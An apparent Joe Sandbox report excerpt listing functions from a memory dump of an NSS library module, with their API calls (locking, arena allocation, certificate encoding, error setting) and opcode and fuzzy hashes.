Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction ID: baa2013d6119d48b91dfd681aa8cf36bf272b051ce71a4a96a969605ffefa8d8
Opcode Fuzzy Hash: 714e8c963c6926c846780f2ad043af55d33668e3c524f8ac81fbc91ef7f71f6b
Instruction Fuzzy Hash: 5771CFB19043019FD720CF25D840A5BB7F5FF89358F14492AE8A993B20E731F959CBA6

Function 6C6FDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C6FDE77

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction ID: 0be859b1f8e24fc8667292f647e75161ffc1a682335b1ad90b00df2dab8eadbf
Opcode Fuzzy Hash: f3e8d43a588b19c0638e166605bb9be105372349646f398e5b9cbf83a3275add
Instruction Fuzzy Hash: 23716571A01319CFDB10CF9AC580A8AB7B6BF49718F25816DD9696B742D730B902CF94

Function 6C66DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(D958E852,6C671397,5B5F5EC0,?,?,6C66B1EE,2404110F,?,?), ref: 6C66AB3C
Part of subcall function 6C66AB10: free.MOZGLUE(D958E836,?,6C66B1EE,2404110F,?,?), ref: 6C66AB49
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(5D5E6C86), ref: 6C66AB5C
Part of subcall function 6C66AB10: free.MOZGLUE(5D5E6C7A), ref: 6C66AB63
Part of subcall function 6C66AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C66AB6F
Part of subcall function 6C66AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C66AB76

TlsGetValue.KERNEL32(?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E029
PK11_IsLoggedIn.NSS3 ref: 6C66E046

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_Unlock.NSS3(?,?,?,?,6C66B266,6C6715C6,?,?,6C6715C6), ref: 6C66E149

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction ID: 18c7d8798a20d172c70a0f185cc4dae8b22bb4d0f324da3bf169ed16ee5eeb3a
Opcode Fuzzy Hash: 4fc474f5d86d2ec33e35288fb25c01d8c0b3045a13196473d1bd33007aa38741
Instruction Fuzzy Hash: 4E515870600611CFDB10DF2AC98476ABBF1BF49308F15896DD8998BB51E731E885CBDA

Function 6C67BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C67BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C659F71,?,?,00000000), ref: 6C67BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C67BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67C014

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction ID: 19848bddc68823ba682d0d8ed3f49796023947e938930408a06913af4e5852ee
Opcode Fuzzy Hash: 9862d80bd16a36f98cd79ef4f5b7994e978c16a6c9eedaa560cb48b75f597c50
Instruction Fuzzy Hash: 4A41F671A012059BEB20CE76CC44BEA73B9AF85708F504928D919D7B41FB35E845CBF9

Function 6C64EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C64EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C64EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C64EEEB
free.MOZGLUE(?), ref: 6C64EEF6

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction ID: 28afcd085743d4c76425754edaca64e5968d53c7264d63d4820634be28509644
Opcode Fuzzy Hash: 3184e8eda1d1ade1f997ca3184a1b9deac8741dbf9026a58758616005030ad1c
Instruction Fuzzy Hash: 6A310471A00201ABE720DF29CC44FA6BBF4FB46345F14C538E85A87A51EB31E815CBE9

Function 6C661F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C661F1C

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C779EBC), ref: 6C661FB8
SEC_ASN1EncodeItem_Util.NSS3(6C779E9C,?,?,6C779E9C), ref: 6C66200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C662020

Part of subcall function 6C656A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C65AD50,?,?), ref: 6C656A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C662030

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction ID: bfab6205923e9a93b8613e8963bfc35920eedc174a037c7a8ea97f5634eaceb6
Opcode Fuzzy Hash: 102ae02ff2988ea0f9110f967f9e6b8013390399b1c465bde6980595648b5229
Instruction Fuzzy Hash: ED212BB5902505BBEB114A16DD40FAA77A8FF5231CF140214E82896F80E771E528C7AF

Function 6C651DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C651E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C651E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C651EAD

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction ID: c33e71caaa298f7da98787a6f5917035e6ea9d60cc3ef3ccefed14ae98303270
Opcode Fuzzy Hash: 01010e6c3290d37ed08eb7786f42cefba1e5120d9734f5cf67bb4071f3cbbbd7
Instruction Fuzzy Hash: BC213772F08315ABD7008F68DC40B8FB395DB85328FA44638ED6957780E730D92A87DA

Function 6C761E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C761E5C

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PR_Lock.NSS3(00000000), ref: 6C761E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C761EAB
PR_GetCurrentThread.NSS3 ref: 6C761ED0
PR_Unlock.NSS3(?), ref: 6C761EE8

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction ID: ae06f6bdf573e29cacf09c90b6e8f763d18a3764e1945c8a43a8bc85d5210ab7
Opcode Fuzzy Hash: 08bfd8bfc30a498c366b78bcd2fdd6591b97ac002fd697a69e90241fe7f9d899
Instruction Fuzzy Hash: 7D21D074A04512AFD710CF2ADA48A06B7B9FF44719B298229DC158BF41D730FC11CBD5

Function 6C6ABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C65E708,00000000,00000000,00000004,00000000), ref: 6C6ABE6A

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?), ref: 6C6ABE7E

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C6604DC,?,?), ref: 6C6ABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C6ABEEB

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e879e8b055f98f205cf9e96e81b5dbdfc012a60c71f18fa40ce77fd96c3f1104
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: F8112276A0434977E70089E5AC80F5B77ADABC5798F084035FE0482A52F731DC0687EE

Function 6C65AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADA7

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000,00000000), ref: 6C65ADB4

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C653FFF,?,?,?,?,6C653FFF,00000000,?,?,?,?,?,6C651A1C,00000000), ref: 6C65ADD5

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C7794B0,?,?,?,?,?,?,?,?,6C653FFF,00000000,?), ref: 6C65ADEC

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C653FFF), ref: 6C65AE3C

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction ID: 27ed6569a04d92954165ae014cd61dd11bdc312eeb750d1a6e9b737d0e3b2ae4
Opcode Fuzzy Hash: ebb193397e285113d0e189185152e1a2e5947280fed7943d174f79aaad0790c9
Instruction Fuzzy Hash: 06113B71E002096BE7109B659C40BBF77F8DF9624CF544228EC1596742FB20E96983FE

Function 6C668FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C670710), ref: 6C668FF1
PR_CallOnce.NSS3(6C7B2158,6C669150,00000000,?,?,?,6C669138,?,6C670710), ref: 6C669029
calloc.MOZGLUE(00000001,00000000,?,?,6C670710), ref: 6C66904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C670710), ref: 6C669066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C670710), ref: 6C669078

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction ID: 45ba7cc42a50ff9c94cf7c6d53c32ccfcab0a193aba7bc86265c7a4583acb825
Opcode Fuzzy Hash: ff90a53b7a5958ba3811b4957fa6c999bbb28d6900d858da33bf78c82e73b22a
Instruction Fuzzy Hash: F011E57170011167EB101BAFAD04A6672ACEB827ADF540535FC84C6E40F752CD4583AE

Function 6C67CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C691E10: TlsGetValue.KERNEL32 ref: 6C691E36
Part of subcall function 6C691E10: EnterCriticalSection.KERNEL32(?,?,?,6C66B1EE,2404110F,?,?), ref: 6C691E4B
Part of subcall function 6C691E10: PR_Unlock.NSS3 ref: 6C691E76

free.MOZGLUE(?,6C67D079,00000000,00000001), ref: 6C67CDA5
PK11_FreeSymKey.NSS3(?,6C67D079,00000000,00000001), ref: 6C67CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C67D079,00000000,00000001), ref: 6C67CDCF
DeleteCriticalSection.KERNEL32(?,6C67D079,00000000,00000001), ref: 6C67CDE2
free.MOZGLUE(?), ref: 6C67CDE9

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction ID: 8d795a9908144ea95030c7d7df076d2ee5efd470979185aa1a520f237f7481b2
Opcode Fuzzy Hash: 395bcc6dfda0238a1c5b62fc2acbd16cccad597adcd5ea1baec9598d07f6260e
Instruction Fuzzy Hash: 0211A3B2B01115BBDF10AFA5ED45A9A77BCBB043597104531F90A87E01E732E424C7E5

Function 6C6E2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E2CEC

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6E2D02
PR_EnterMonitor.NSS3(?), ref: 6C6E2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6E2D42
PR_ExitMonitor.NSS3(?), ref: 6C6E2D5B

Memory Dump Source

Source File: 00000000.00000002.2128935184.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2128913697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129065096.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129110028.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129130324.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129150071.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2129169627.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 1318f6d3e3578dfac2ea355121da45e0d49ce3060982b1756f2fac1cc2e6c162
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
